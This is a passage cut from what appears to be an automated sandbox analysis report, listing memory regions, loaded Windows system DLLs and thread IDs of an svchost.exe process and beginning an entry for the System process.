"c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 750 start_va = 0x1ca0000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 751 start_va = 0x1cb0000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001cb0000" filename = "" Region: id = 752 start_va = 0x1db0000 end_va = 0x1dbffff entry_point = 0x1db0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 753 start_va = 0x1dc0000 end_va = 0x1dcffff entry_point = 0x1dc0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 754 start_va = 0x1dd0000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 755 start_va = 0x1e50000 end_va = 0x1e5ffff entry_point = 0x1e50000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 756 start_va = 0x1e60000 end_va = 0x1e6ffff entry_point = 0x1e60000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 757 start_va = 0x1e70000 end_va = 0x1e7ffff entry_point = 0x1e70000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 758 start_va = 0x1e80000 end_va = 0x1e8ffff entry_point = 0x1e80000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 759 start_va = 0x1e90000 end_va = 0x1e9ffff entry_point = 0x1e90000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 760 start_va = 0x1ea0000 end_va = 0x1eaffff entry_point = 0x1ea0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 761 start_va = 0x1eb0000 end_va = 0x1ebffff entry_point = 0x1eb0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 762 start_va = 0x1ec0000 end_va = 0x1ecffff entry_point = 0x1ec0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 763 start_va = 0x1ed0000 end_va = 0x1edffff entry_point = 0x1ed0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 764 start_va = 0x1ee0000 end_va = 0x1eeffff entry_point = 0x1ee0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 765 start_va = 0x1ef0000 end_va = 0x1efffff entry_point = 0x1ef0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 766 start_va = 0x1f00000 end_va = 0x1f0ffff entry_point = 0x1f00000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 767 start_va = 0x1f10000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 768 start_va = 0x1f90000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 769 start_va = 0x2090000 end_va = 0x209ffff entry_point = 0x2090000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 770 start_va = 0x20a0000 end_va = 0x20affff entry_point = 0x20a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 771 start_va = 0x20b0000 end_va = 0x20bffff entry_point = 0x20b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 772 start_va = 0x20d0000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 773 start_va = 0x2190000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 774 start_va = 0x2270000 end_va = 0x22effff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 775 start_va = 0x23c0000 end_va = 0x24bffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 776 start_va = 0x2590000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 777 start_va = 0x25a0000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 778 start_va = 0x26a0000 end_va = 0x369ffff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 779 start_va = 0x3790000 end_va = 0x380ffff entry_point = 0x0 region_type = private name = "private_0x0000000003790000" filename = "" Region: id = 780 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 781 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 782 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 783 start_va = 0x77a30000 end_va = 0x77a36fff entry_point = 0x77a30000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 784 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 785 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 786 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 787 start_va = 0xfff20000 end_va = 0xfff2afff entry_point = 0xfff20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 788 start_va = 0x7fef46e0000 end_va = 0x7fef4959fff entry_point = 0x7fef46e0000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 789 start_va = 0x7fef6d60000 end_va = 0x7fef6d67fff entry_point = 0x7fef6d60000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 790 start_va = 0x7fef7940000 end_va = 0x7fef7950fff entry_point = 0x7fef7940000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 791 start_va = 0x7fef7d00000 end_va = 0x7fef7d63fff entry_point = 0x7fef7d00000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 792 start_va = 0x7fef7d70000 end_va = 0x7fef7de0fff entry_point = 0x7fef7d70000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 793 start_va = 0x7fef7df0000 end_va = 0x7fef7e27fff entry_point = 0x7fef7df0000 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 794 start_va = 0x7fef7e30000 end_va = 0x7fef7e7dfff entry_point = 0x7fef7e30000 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 795 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 796 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 797 start_va = 0x7fef80c0000 end_va = 0x7fef80effff entry_point = 0x7fef80c0000 region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 798 start_va = 0x7fef81c0000 end_va = 0x7fef81dffff entry_point = 0x7fef81c0000 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 799 start_va = 0x7fefaef0000 end_va = 0x7fefaf07fff entry_point = 0x7fefaef0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 800 start_va = 0x7fefaf10000 end_va = 0x7fefaf20fff entry_point = 0x7fefaf10000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 801 start_va = 0x7fefafd0000 end_va = 0x7fefafd6fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 802 start_va = 0x7fefafe0000 end_va = 0x7fefb032fff entry_point = 0x7fefafe0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 803 start_va = 0x7fefb040000 end_va = 0x7fefb06ffff entry_point = 0x7fefb040000 region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 804 start_va = 0x7fefb130000 end_va = 0x7fefb13afff entry_point = 0x7fefb130000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 805 start_va = 0x7fefb140000 end_va = 0x7fefb166fff entry_point = 0x7fefb140000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 806 start_va = 0x7fefb1c0000 end_va = 0x7fefb226fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 807 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 808 start_va = 0x7fefb890000 end_va = 0x7fefb8a3fff entry_point = 0x7fefb890000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 809 start_va = 0x7fefb8b0000 end_va = 0x7fefb8c4fff entry_point = 0x7fefb8b0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 810 start_va = 0x7fefb8d0000 end_va = 0x7fefb8dbfff entry_point = 0x7fefb8d0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 811 start_va = 0x7fefba10000 end_va = 0x7fefba20fff entry_point = 0x7fefba10000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 812 start_va = 0x7fefbff0000 end_va = 0x7fefc00cfff entry_point = 0x7fefbff0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 813 start_va = 0x7fefc540000 end_va = 0x7fefc66bfff entry_point = 0x7fefc540000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 814 start_va = 0x7fefca40000 end_va = 0x7fefca46fff entry_point = 0x7fefca40000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 815 start_va = 0x7fefcb30000 end_va = 0x7fefcb4afff entry_point = 0x7fefcb30000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 816 start_va = 0x7fefcb50000 end_va = 0x7fefcb6dfff entry_point = 0x7fefcb50000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 817 start_va = 0x7fefcca0000 end_va = 0x7fefcca9fff entry_point = 0x7fefcca0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 818 start_va = 0x7fefcce0000 end_va = 0x7fefcd2bfff entry_point = 0x7fefcce0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 819 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 820 start_va = 0x7fefcec0000 end_va = 0x7fefcf1afff entry_point = 0x7fefcec0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 821 start_va = 0x7fefd030000 end_va = 0x7fefd036fff entry_point = 0x7fefd030000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 822 start_va = 0x7fefd040000 end_va = 0x7fefd094fff entry_point = 0x7fefd040000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 823 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 824 start_va = 0x7fefd1b0000 end_va = 0x7fefd1e1fff entry_point = 0x7fefd1b0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 825 start_va = 0x7fefd210000 end_va = 0x7fefd231fff entry_point = 0x7fefd210000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 826 start_va = 0x7fefd2d0000 end_va = 0x7fefd33cfff entry_point = 0x7fefd2d0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 827 start_va = 0x7fefd640000 end_va = 0x7fefd64afff entry_point = 0x7fefd640000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 828 start_va = 0x7fefd670000 end_va = 0x7fefd694fff entry_point = 0x7fefd670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 829 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 830 start_va = 0x7fefd750000 end_va = 0x7fefd78cfff entry_point = 0x7fefd750000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 831 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 832 start_va = 0x7fefd7b0000 end_va = 0x7fefd7befff entry_point = 0x7fefd7b0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 833 start_va = 0x7fefd850000 end_va = 0x7fefd85efff entry_point = 0x7fefd850000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 834 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 835 start_va = 0x7fefd990000 end_va = 0x7fefdaf6fff entry_point = 0x7fefd990000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 836 start_va = 0x7fefdb00000 end_va = 0x7fefdb35fff entry_point = 0x7fefdb00000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 837 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 838 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 839 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 840 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 841 start_va = 0x7fefdef0000 end_va = 0x7fefdef7fff entry_point = 0x7fefdef0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 842 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 843 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 844 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 845 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 846 start_va = 0x7feff4e0000 end_va = 0x7feff550fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 847 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 848 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 849 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 850 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 851 start_va = 0x7feffb20000 end_va = 0x7feffb6cfff entry_point = 0x7feffb20000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 852 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 853 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 854 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 855 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 856 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 857 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 858 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 859 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 860 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 861 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 862 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 863 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 864 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 865 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 866 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 867 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 868 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 869 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 870 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 49 os_tid = 0x950 Thread: id = 50 os_tid = 0x8c8 Thread: id = 51 os_tid = 0x59c Thread: id = 52 os_tid = 0x768 Thread: id = 53 os_tid = 0x7a0 Thread: id = 54 os_tid = 0x794 Thread: id = 55 os_tid = 0x744 Thread: id = 56 os_tid = 0x674 Thread: id = 57 os_tid = 0x654 Thread: id = 58 os_tid = 0x5e8 Thread: id = 59 os_tid = 0x41c Thread: id = 60 os_tid = 0x418 Thread: id = 61 os_tid = 0x414 Thread: id = 62 os_tid = 0x3d8 Thread: id = 63 os_tid = 0x2b0 Thread: id = 64 os_tid = 0x290 Thread: id = 66 os_tid = 0x784 Thread: id = 69 os_tid = 0xaf8 Thread: id = 70 os_tid = 0x9e0 Thread: id = 71 os_tid = 0x9d4 Thread: id = 73 os_tid = 0x504 Thread: id = 74 os_tid = 0xb30 Thread: id = 75 os_tid = 0xa4c Process: id = "7" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0x0" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 947 start_va = 0x10000 end_va = 0x32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 948 start_va = 0x775c0000 end_va = 0x77768fff entry_point = 0x775c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 949 start_va = 0x777a0000 end_va = 0x7791ffff entry_point = 0x777a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: 